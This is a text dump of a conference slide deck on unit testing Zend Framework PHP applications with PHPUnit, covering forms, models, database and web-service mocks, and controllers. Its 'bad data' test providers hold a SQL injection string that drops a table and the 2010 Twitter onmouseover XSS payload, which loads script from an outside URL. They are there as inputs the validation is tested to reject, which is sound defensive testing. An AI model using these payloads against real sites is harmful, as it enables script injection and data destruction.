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Unit testing with zend framework tek11

Introduction to unit testing zend framework applications with phpunit and zend test

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Unit Testing with
Zend Framework
   TEK11, Chicago IL, USA
Michelangelo van Dam
• Independent Consultant
• Zend Certified Engineer (ZCE)
• President of PHPBenelux
The saga continues…
Zend Webinar




http://www.zend.com/en/resources/webinars/framework
Any reasons not to test?
Most common excuses
• no time
• not within budget
• development team does not know how
• tests are provided after delivery
•…

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Unit testing with zend framework tek11

  • 1. Unit Testing with Zend Framework TEK11, Chicago IL, USA
  • 2. Michelangelo van Dam • Independent Consultant • Zend Certified Engineer (ZCE) • President of PHPBenelux
  • 5. Any reasons not to test?
  • 6. Most common excuses • no time • not within budget • development team does not know how • tests are provided after delivery •…
  • 8. The cost of bugs Bugs Project Costs 100 75 50 25 0 Start Milestone1 Milestone2 Milestone3
  • 9. The cost of bugs Bugs Project Costs Unittests 100 75 50 25 0 Start Milestone1 Milestone2 Milestone3
  • 10. Maintainability •- during development test will fail indicating bugs •- after sales support testing if an issue is genuine - fixing issues won’t break code base ‣ if they do, you need to fix it! • long term projects - refactoring made easy
  • 11. Remember “Once a test is made, it will always be tested!”
  • 13. Confidence •- for the developer code works •- for the manager project succeeds •- for sales / general management / share holders making profit •- for the customer paying for what they want
  • 17. phpunit.xml <phpunit bootstrap="./TestHelper.php" colors="true"> <testsuite name="Unit test suite"> <directory>./</directory> </testsuite> <filter> <whitelist> <directory suffix=".php">../application/</directory> <directory suffix=".php">../library/Mylib/</directory> <exclude> <directory suffix=".phtml">../application/</directory> </exclude> </whitelist> </filter> </phpunit>
  • 18. TestHelper.php <?php // set our app paths and environments define('BASE_PATH', realpath(dirname(__FILE__) . '/../')); define('APPLICATION_PATH', BASE_PATH . '/application'); define('TEST_PATH', BASE_PATH . '/tests'); define('APPLICATION_ENV', 'testing'); // Include path set_include_path( . PATH_SEPARATOR . BASE_PATH . '/library' . PATH_SEPARATOR . get_include_path() ); // Set the default timezone !!! date_default_timezone_set('Europe/Brussels'); // We wanna catch all errors en strict warnings error_reporting(E_ALL|E_STRICT); require_once 'Zend/Application.php'; $application = new Zend_Application( APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini' ); $application->bootstrap();
  • 19. Zend_Tool since 1.11.4 • provides • phpunit.xml • bootstrap.php • IndexControllerTest.php Ralph Schindler
  • 20. Start your engines! http://www.flickr.com/photos/robdunckley/3781995277
  • 22. CommentForm Name: E-mail Address: Website: Comment: Post
  • 23. Start with the test <?php class Application_Form_CommentFormTest extends PHPUnit_Framework_TestCase { protected $_form; protected function setUp() { $this->_form = new Application_Form_CommentForm(); parent::setUp(); } protected function tearDown() { parent::tearDown(); $this->_form = null; } }
  • 24. The good stuff public function goodData() { return array ( array ('John Doe', 'john.doe@example.com', 'http://example.com', 'test comment'), array ("Matthew Weier O'Phinney", 'matthew@zend.com', 'http://weierophinney.net', 'Doing an MWOP-Test'), array ('D. Keith Casey, Jr.', 'Keith@CaseySoftware.com', 'http://caseysoftware.com', 'Doing a monkey dance'), ); } /** * @dataProvider goodData */ public function testFormAcceptsValidData($name, $email, $web, $comment) { $data = array ( 'name' => $name, 'mail' => $mail, 'web' => $web, 'comment' => $comment, ); $this->assertTrue($this->_form->isValid($data)); }
  • 25. The bad stuff public function badData() { return array ( array ('','','',''), array ("Robert'; DROP TABLES comments; --", '', 'http://xkcd.com/327/','Little Bobby Tables'), array (str_repeat('x', 100000), '', '', ''), array ('John Doe', 'jd@example.com', "http://t.co/@"style="font-size:999999999999px;"onmouseover= "$.getScript('http:u002fu002fis.gdu002ffl9A7')"/", 'exploit twitter 9/21/2010'), ); } /** * @dataProvider badData */ public function testFormRejectsBadData($name, $email, $web, $comment) { $data = array ( 'name' => $name, 'mail' => $mail, 'web' => $web, 'comment' => $comment, ); $this->assertFalse($this->_form->isValid($data)); }
  • 26. Create the form class <?php class Application_Form_CommentForm extends Zend_Form { public function init() { /* Form Elements & Other Definitions Here ... */ } }
  • 28. Let’s put in our elements <?php class Application_Form_CommentForm extends Zend_Form { public function init() { $this->addElement('text', 'name', array ( 'Label' => 'Name', 'Required' => true)); $this->addElement('text', 'mail', array ( 'Label' => 'E-mail Address', 'Required' => true)); $this->addElement('text', 'web', array ( 'Label' => 'Website', 'Required' => false)); $this->addElement('textarea', 'comment', array ( 'Label' => 'Comment', 'Required' => true)); $this->addElement('submit', 'post', array ( 'Label' => 'Post', 'Ignore' => true)); } }
  • 30. Filter - Validate $this->addElement('text', 'name', array ( 'Label' => 'Name', 'Required' => true, 'Filters' => array ('StringTrim', 'StripTags'), 'Validators' => array ( new Zftest_Validate_Mwop(), new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50))), )); $this->addElement('text', 'mail', array ( 'Label' => 'E-mail Address', 'Required' => true, 'Filters' => array ('StringTrim', 'StripTags', 'StringToLower'), 'Validators' => array ( new Zend_Validate_EmailAddress(), new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50))), )); $this->addElement('text', 'web', array ( 'Label' => 'Website', 'Required' => false, 'Filters' => array ('StringTrim', 'StripTags', 'StringToLower'), 'Validators' => array ( new Zend_Validate_Callback(array('Zend_Uri', 'check')), new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50))), )); $this->addElement('textarea', 'comment', array ( 'Label' => 'Comment', 'Required' => true, 'Filters' => array ('StringTrim', 'StripTags'), 'Validators' => array ( new Zftest_Validate_TextBox(), new Zend_Validate_StringLength(array ('max' => 5000))), ));
  • 31. Green, warm & fuzzy
  • 32. You’re a winner! ☑ quality code ☑ tested ☑ secure ☑ reusable
  • 34. Testing business logic •- models contain logic tied to your business - tied to your storage - tied to your resources • no “one size fits all” solution
  • 35. Type: data containers •- contains structured data populated through setters and getters •- perform logic tied to it’s purpose transforming data - filtering data - validating data • can convert into other data types - arrays - strings (JSON, serialized, xml, …) • are providers to other models
  • 37. Writing model test <?php class Application_Model_CommentTest extends PHPUnit_Framework_TestCase { protected $_comment; protected function setUp() { $this->_comment = new Application_Model_Comment(); parent::setUp(); } protected function tearDown() { parent::tearDown(); $this->_comment = null; } public function testModelIsEmptyAtConstruct() { $this->assertSame(0, $this->_comment->getId()); $this->assertNull($this->_comment->getFullName()); $this->assertNull($this->_comment->getEmailAddress()); $this->assertNull($this->_comment->getWebsite()); $this->assertNull($this->_comment->getComment()); } }
  • 39. Create a simple model <?php class Application_Model_Comment { protected $_id = 0; protected $_fullName; protected $_emailAddress; protected $_website; protected $_comment; public function setId($id) { $this->_id = (int) $id; return $this; } public function getId() { return $this->_id; } public function setFullName($fullName) { $this->_fullName = (string) $fullName; return $this; } public function getFullName() { return $this->_fullName; } public function setEmailAddress($emailAddress) { $this->_emailAddress = (string) $emailAddress; return $this; } public function getEmailAddress() { return $this->_emailAddress; } public function setWebsite($website) { $this->_website = (string) $website; return $this; } public function getWebsite() { return $this->_website; } public function setComment($comment) { $this->_comment = (string) $comment; return $this; } public function getComment() { return $this->_comment; } public function populate($row) { if (is_array($row)) { $row = new ArrayObject($row, ArrayObject::ARRAY_AS_PROPS); } if (isset ($row->id)) $this->setId($row->id); if (isset ($row->fullName)) $this->setFullName($row->fullName); if (isset ($row->emailAddress)) $this->setEmailAddress($row->emailAddress); if (isset ($row->website)) $this->setWebsite($row->website); if (isset ($row->comment)) $this->setComment($row->comment); } public function toArray() { return array ( 'id' => $this->getId(), 'fullName' => $this->getFullName(), 'emailAddress' => $this->getEmailAddress(), 'website' => $this->getWebsite(), 'comment' => $this->getComment(), ); } }
  • 40. We pass the test…
  • 42. Not all data from form! •- model can be populated from users through the form - data stored in the database - a webservice (hosted by us or others) • simply test it - by using same test scenario’s from our form
  • 43. The good stuff public function goodData() { return array ( array ('John Doe', 'john.doe@example.com', 'http://example.com', 'test comment'), array ("Matthew Weier O'Phinney", 'matthew@zend.com', 'http://weierophinney.net', 'Doing an MWOP-Test'), array ('D. Keith Casey, Jr.', 'Keith@CaseySoftware.com', 'http://caseysoftware.com', 'Doing a monkey dance'), ); } /** * @dataProvider goodData */ public function testModelAcceptsValidData($name, $mail, $web, $comment) { $data = array ( 'fullName' => $name, 'emailAddress' => $mail, 'website' => $web, 'comment' => $comment, ); try { $this->_comment->populate($data); } catch (Zend_Exception $e) { $this->fail('Unexpected exception should not be triggered'); } $data['id'] = 0; $data['emailAddress'] = strtolower($data['emailAddress']); $data['website'] = strtolower($data['website']); $this->assertSame($this->_comment->toArray(), $data); }
  • 44. The bad stuff public function badData() { return array ( array ('','','',''), array ("Robert'; DROP TABLES comments; --", '', 'http://xkcd.com/327/','Little Bobby Tables'), array (str_repeat('x', 1000), '', '', ''), array ('John Doe', 'jd@example.com', "http://t.co/@"style="font-size:999999999999px; "onmouseover="$.getScript('http:u002fu002fis.gdu002ffl9A7')"/", 'exploit twitter 9/21/2010'), ); } /** * @dataProvider badData */ public function testModelRejectsBadData($name, $mail, $web, $comment) { $data = array ( 'fullName' => $name, 'emailAddress' => $mail, 'website' => $web, 'comment' => $comment, ); try { $this->_comment->populate($data); } catch (Zend_Exception $e) { return; } $this->fail('Expected exception should be triggered'); }
  • 46. Modify our model protected $_filters; protected $_validators; public function __construct($params = null) { $this->_filters = array ( 'id' => array ('Int'), 'fullName' => array ('StringTrim', 'StripTags', new Zend_Filter_Alnum(true)), 'emailAddress' => array ('StringTrim', 'StripTags', 'StringToLower'), 'website' => array ('StringTrim', 'StripTags', 'StringToLower'), 'comment' => array ('StringTrim', 'StripTags'), ); $this->_validators = array ( 'id' => array ('Int'), 'fullName' => array ( new Zftest_Validate_Mwop(), new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50)), ), 'emailAddress' => array ( 'EmailAddress', new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50)), ), 'website' => array ( new Zend_Validate_Callback(array('Zend_Uri', 'check')), new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50)), ), 'comment' => array ( new Zftest_Validate_TextBox(), new Zend_Validate_StringLength(array ('max' => 5000)), ), ); if (null !== $params) { $this->populate($params); } }
  • 47. Modify setters: Id & name public function setId($id) { $input = new Zend_Filter_Input($this->_filters, $this->_validators); $input->setData(array ('id' => $id)); if (!$input->isValid('id')) { throw new Zend_Exception('Invalid ID provided'); } $this->_id = (int) $input->id; return $this; } public function setFullName($fullName) { $input = new Zend_Filter_Input($this->_filters, $this->_validators); $input->setData(array ('fullName' => $fullName)); if (!$input->isValid('fullName')) { throw new Zend_Exception('Invalid fullName provided'); } $this->_fullName = (string) $input->fullName; return $this; }
  • 48. Email & website public function setEmailAddress($emailAddress) { $input = new Zend_Filter_Input($this->_filters, $this->_validators); $input->setData(array ('emailAddress' => $emailAddress)); if (!$input->isValid('emailAddress')) { throw new Zend_Exception('Invalid emailAddress provided'); } $this->_emailAddress = (string) $input->emailAddress; return $this; } public function setWebsite($website) { $input = new Zend_Filter_Input($this->_filters, $this->_validators); $input->setData(array ('website' => $website)); if (!$input->isValid('website')) { throw new Zend_Exception('Invalid website provided'); } $this->_website = (string) $input->website; return $this; }
  • 49. and comment public function setComment($comment) { $input = new Zend_Filter_Input($this->_filters, $this->_validators); $input->setData(array ('comment' => $comment)); if (!$input->isValid('comment')) { throw new Zend_Exception('Invalid comment provided'); } $this->_comment = (string) $input->comment; return $this; }
  • 52. Integration Testing •- database specific functionality triggers - constraints - stored procedures - sharding/scalability • data input/output - correct encoding of data - transactions execution and rollback
  • 53. Points of concern •- beware of automated data types auto increment sequence ID’s - default values like CURRENT_TIMESTAMP • beware of time related issues - timestamp vs. datetime - UTC vs. local time
  • 54. The domain Model • Model object • Mapper object • Table gateway object Read more about it
  • 55. Change our test class class Application_Model_CommentTest extends PHPUnit_Framework_TestCase becomes class Application_Model_CommentTest extends Zend_Test_PHPUnit_DatabaseTestCase
  • 56. Setting DB Testing up protected $_connectionMock; public function getConnection() { if (null === $this->_dbMock) { $this->bootstrap = new Zend_Application( APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini'); $this->bootstrap->bootstrap('db'); $db = $this->bootstrap->getBootstrap()->getResource('db'); $this->_connectionMock = $this->createZendDbConnection( $db, 'zftest' ); return $this->_connectionMock; } } public function getDataSet() { return $this->createFlatXmlDataSet( realpath(APPLICATION_PATH . '/../tests/_files/initialDataSet.xml')); }
  • 57. initialDataSet.xml <?xml version="1.0" encoding="UTF-8"?> <dataset> <comment id="1" fullName="B.A. Baracus" emailAddress="ba@a-team.com" website="http://www.a-team.com" comment="I pitty the fool that doesn't test!"/> <comment id="2" fullName="Martin Fowler" emailAddress="fowler@acm.org" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> </dataset>
  • 58. Testing SELECT public function testDatabaseCanBeRead() { $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection()); $ds->addTable('comment', 'SELECT * FROM `comment`'); $expected = $this->createFlatXMLDataSet( APPLICATION_PATH . '/../tests/_files/selectDataSet.xml'); $this->assertDataSetsEqual($expected, $ds); }
  • 59. selectDataSet.xml <?xml version="1.0" encoding="UTF-8"?> <dataset> <comment id="1" fullName="B.A. Baracus" emailAddress="ba@a-team.com" website="http://www.a-team.com" comment="I pitty the fool that doesn't test!"/> <comment id="2" fullName="Martin Fowler" emailAddress="fowler@acm.org" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> </dataset>
  • 60. Testing UPDATE public function testDatabaseCanBeUpdated() { $comment = new Application_Model_Comment(); $mapper = new Application_Model_CommentMapper(); $mapper->find(1, $comment); $comment->setComment('I like you picking up the challenge!'); $mapper->save($comment); $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection()); $ds->addTable('comment', 'SELECT * FROM `comment`'); $expected = $this->createFlatXMLDataSet( APPLICATION_PATH . '/../tests/_files/updateDataSet.xml'); $this->assertDataSetsEqual($expected, $ds); }
  • 61. updateDataSet.xml <?xml version="1.0" encoding="UTF-8"?> <dataset> <comment id="1" fullName="B.A. Baracus" emailAddress="ba@a-team.com" website="http://www.a-team.com" comment="I like you picking up the challenge!"/> <comment id="2" fullName="Martin Fowler" emailAddress="fowler@acm.org" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> </dataset>
  • 62. Testing DELETE public function testDatabaseCanDeleteAComment() { $comment = new Application_Model_Comment(); $mapper = new Application_Model_CommentMapper(); $mapper->find(1, $comment) ->delete($comment); $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection()); $ds->addTable('comment', 'SELECT * FROM `comment`'); $expected = $this->createFlatXMLDataSet( APPLICATION_PATH . '/../tests/_files/deleteDataSet.xml'); $this->assertDataSetsEqual($expected, $ds); }
  • 63. deleteDataSet.xml <?xml version="1.0" encoding="UTF-8"?> <dataset> <comment id="2" fullName="Martin Fowler" emailAddress="fowler@acm.org" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> </dataset>
  • 64. Testing INSERT public function testDatabaseCanAddAComment() { $comment = new Application_Model_Comment(); $comment->setFullName('Michelangelo van Dam') ->setEmailAddress('dragonbe@gmail.com') ->setWebsite('http://www.dragonbe.com') ->setComment('Unit Testing, It is so addictive!!!'); $mapper = new Application_Model_CommentMapper(); $mapper->save($comment); $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection()); $ds->addTable('comment', 'SELECT * FROM `comment`'); $expected = $this->createFlatXMLDataSet( APPLICATION_PATH . '/../tests/_files/addDataSet.xml'); $this->assertDataSetsEqual($expected, $ds); }
  • 65. insertDataSet.xml <?xml version="1.0" encoding="UTF-8"?> <dataset> <comment id="1" fullName="B.A. Baracus" emailAddress="ba@a-team.com" website="http://www.a-team.com" comment="I pitty the fool that doesn't test!"/> <comment id="2" fullName="Martin Fowler" emailAddress="fowler@acm.org" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> <comment id="3" fullName="Michelangelo van Dam" emailAddress="dragonbe@gmail.com" website="http://www.dragonbe.com" comment="Unit Testing, It is so addictive!!!"/> </dataset>
  • 69. Testing INSERT w/ filter public function testDatabaseCanAddAComment() { $comment = new Application_Model_Comment(); $comment->setFullName('Michelangelo van Dam') ->setEmailAddress('dragonbe@gmail.com') ->setWebsite('http://www.dragonbe.com') ->setComment('Unit Testing, It is so addictive!!!'); $mapper = new Application_Model_CommentMapper(); $mapper->save($comment); $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection()); $ds->addTable('comment', 'SELECT * FROM `comment`'); $filteredDs = new PHPUnit_Extensions_Database_DataSet_DataSetFilter( $ds, array ('comment' => array ('id'))); $expected = $this->createFlatXMLDataSet( APPLICATION_PATH . '/../tests/_files/addDataSet.xml'); $this->assertDataSetsEqual($expected, $filteredDs); }
  • 70. insertDataSet.xml <?xml version="1.0" encoding="UTF-8"?> <dataset> <comment fullName="B.A. Baracus" emailAddress="ba@a-team.com" website="http://www.a-team.com" comment="I pitty the fool that doesn't test!"/> <comment fullName="Martin Fowler" emailAddress="fowler@acm.org" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> <comment fullName="Michelangelo van Dam" emailAddress="dragonbe@gmail.com" website="http://www.dragonbe.com" comment="Unit Testing, It is so addictive!!!"/> </dataset>
  • 73. Web services remarks •- you need to comply with an API that will be your reference •- you cannot always make a test-call paid services per call - test environment is “offline” - network related issues
  • 76. JoindinTest <?php class Zftest_Service_JoindinTest extends PHPUnit_Framework_TestCase { protected $_joindin; protected $_settings; protected function setUp() { $this->_joindin = new Zftest_Service_Joindin(); $settings = simplexml_load_file(realpath( APPLICATION_PATH . '/../tests/_files/settings.xml')); $this->_settings = $settings->joindin; parent::setUp(); } protected function tearDown() { parent::tearDown(); $this->_joindin = null; } }
  • 77. JoindinTest public function testJoindinCanGetUserDetails() { $expected = '<?xml version="1.0"?><response><item><username>DragonBe</ username><full_name>Michelangelo van Dam</full_name><ID>19</ ID><last_login>1303248639</last_login></item></response>'; $this->_joindin->setUsername($this->_settings->username) ->setPassword($this->_settings->password); $actual = $this->_joindin->user()->getDetail(); $this->assertXmlStringEqualsXmlString($expected, $actual); } public function testJoindinCanCheckStatus() { $date = new DateTime(); $date->setTimezone(new DateTimeZone('UTC')); $expected = '<?xml version="1.0"?><response><dt>' . $date->format('r') . '</dt><test_string>testing unit test</test_string></response>'; $actual = $this->_joindin->site()->getStatus('testing unit test'); $this->assertXmlStringEqualsXmlString($expected, $actual); }
  • 79. Euh… what? 1) Zftest_Service_JoindinTest::testJoindinCanGetUserDetails Failed asserting that two strings are equal. --- Expected +++ Actual @@ @@ <ID>19</ID> - <last_login>1303248639</last_login> + <last_login>1303250271</last_login> </item> </response> I recently logged in ✔
  • 80. Euh… what? 1) Zftest_Service_JoindinTest::testJoindinCanGetUserDetails Failed asserting that two strings are equal. --- Expected +++ Actual @@ @@ <ID>19</ID> - <last_login>1303248639</last_login> + <last_login>1303250271</last_login> </item> </response> I recently logged in ✔
  • 81. And this? 2) Zftest_Service_JoindinTest::testJoindinCanCheckStatus Failed asserting that two strings are equal. --- Expected +++ Actual @@ @@ <?xml version="1.0"?> <response> - <dt>Tue, 19 Apr 2011 22:26:40 +0000</dt> + <dt>Tue, 19 Apr 2011 22:26:41 +0000</dt> <test_string>testing unit test</test_string> </response> Latency of the network 1s ☹
  • 82. And this? 2) Zftest_Service_JoindinTest::testJoindinCanCheckStatus Failed asserting that two strings are equal. --- Expected +++ Actual @@ @@ <?xml version="1.0"?> <response> - <dt>Tue, 19 Apr 2011 22:26:40 +0000</dt> + <dt>Tue, 19 Apr 2011 22:26:41 +0000</dt> <test_string>testing unit test</test_string> </response> Latency of the network 1s ☹
  • 85. JoindinTest <?php class Zftest_Service_JoindinTest extends PHPUnit_Framework_TestCase { protected $_joindin; protected $_settings; protected function setUp() { $this->_joindin = new Zftest_Service_Joindin(); $client = new Zend_Http_Client(); $client->setAdapter(new Zend_Http_Client_Adapter_Test()); $this->_joindin->setClient($client); $settings = simplexml_load_file(realpath( APPLICATION_PATH . '/../tests/_files/settings.xml')); $this->_settings = $settings->joindin; parent::setUp(); } protected function tearDown() { parent::tearDown(); $this->_joindin = null; } }
  • 86. JoindinUserMockTest public function testJoindinCanGetUserDetails() { $response = <<<EOS HTTP/1.1 200 OK Content-type: text/xml <?xml version="1.0"?> <response> <item> <username>DragonBe</username> <full_name>Michelangelo van Dam</full_name> <ID>19</ID> <last_login>1303248639</last_login> </item> </response> EOS; $client = $this->_joindin->getClient()->getAdapter()->setResponse($response); $expected = '<?xml version="1.0"?><response><item><username>DragonBe</ username><full_name>Michelangelo van Dam</full_name><ID>19</ID><last_login>1303248639</ last_login></item></response>'; $this->_joindin->setUsername($this->_settings->username) ->setPassword($this->_settings->password); $actual = $this->_joindin->user()->getDetail(); $this->assertXmlStringEqualsXmlString($expected, $actual); }
  • 87. JoindinStatusMockTest public function testJoindinCanCheckStatus() { $date = new DateTime(); $date->setTimezone(new DateTimeZone('UTC')); $response = <<<EOS HTTP/1.1 200 OK Content-type: text/xml <?xml version="1.0"?> <response> <dt>{$date->format('r')}</dt> <test_string>testing unit test</test_string> </response> EOS; $client = $this->_joindin->getClient() ->getAdapter()->setResponse($response); $expected = '<?xml version="1.0"?><response><dt>' . $date->format('r') . '</dt><test_string>testing unit test</test_string></response>'; $actual = $this->_joindin->site()->getStatus('testing unit test'); $this->assertXmlStringEqualsXmlString($expected, $actual); }
  • 91. Setting up ControllerTest <?php class IndexControllerTest extends Zend_Test_PHPUnit_ControllerTestCase { public function setUp() { $this->bootstrap = new Zend_Application( APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini'); parent::setUp(); } }
  • 92. Testing if form is on page public function testIndexAction() { $params = array( 'action' => 'index', 'controller' => 'index', 'module' => 'default' ); $url = $this->url($this->urlizeOptions($params)); $this->dispatch($url); // assertions $this->assertModule($params['module']); $this->assertController($params['controller']); $this->assertAction($params['action']); $this->assertQueryContentContains( 'h1#pageTitle', 'Please leave a comment'); $this->assertQueryCount('form#commentForm', 1); }
  • 93. Test processing public function testProcessAction() { $testData = array ( 'name' => 'testUser', 'mail' => 'test@example.com', 'web' => 'http://www.example.com', 'comment' => 'This is a test comment', ); $params = array('action' => 'process', 'controller' => 'index', 'module' => 'default'); $url = $this->url($this->urlizeOptions($params)); $this->request->setMethod('post'); $this->request->setPost($testData); $this->dispatch($url); // assertions $this->assertModule($params['module']); $this->assertController($params['controller']); $this->assertAction($params['action']); $this->assertResponseCode(302); $this->assertRedirectTo('/index/success'); $this->resetRequest(); $this->resetResponse(); $this->dispatch('/index/success'); $this->assertQueryContentContains('span#fullName', $testData['name']); }
  • 94. REMARK •- data providers can be used to test valid data - to test invalid data • but we know it’s taken care of our model - just checking for error messages in form
  • 95. Test if we hit home public function testSuccessAction() { $params = array( 'action' => 'success', 'controller' => 'index', 'module' => 'default' ); $url = $this->url($this->urlizeOptions($params)); $this->dispatch($url); // assertions $this->assertModule($params['module']); $this->assertController($params['controller']); $this->assertAction($params['action']); $this->assertRedirectTo('/'); }
  • 101. • unit testing is simple • combine integration tests with unit tests • test what counts • mock out what’s remote
  • 102. Thank you • source code: http://github.com/DragonBe/zftest • your rating: http://joind.in/3434 •- follow me: twitter: @DragonBe - facebook: DragonBe Please use joind.in for feedback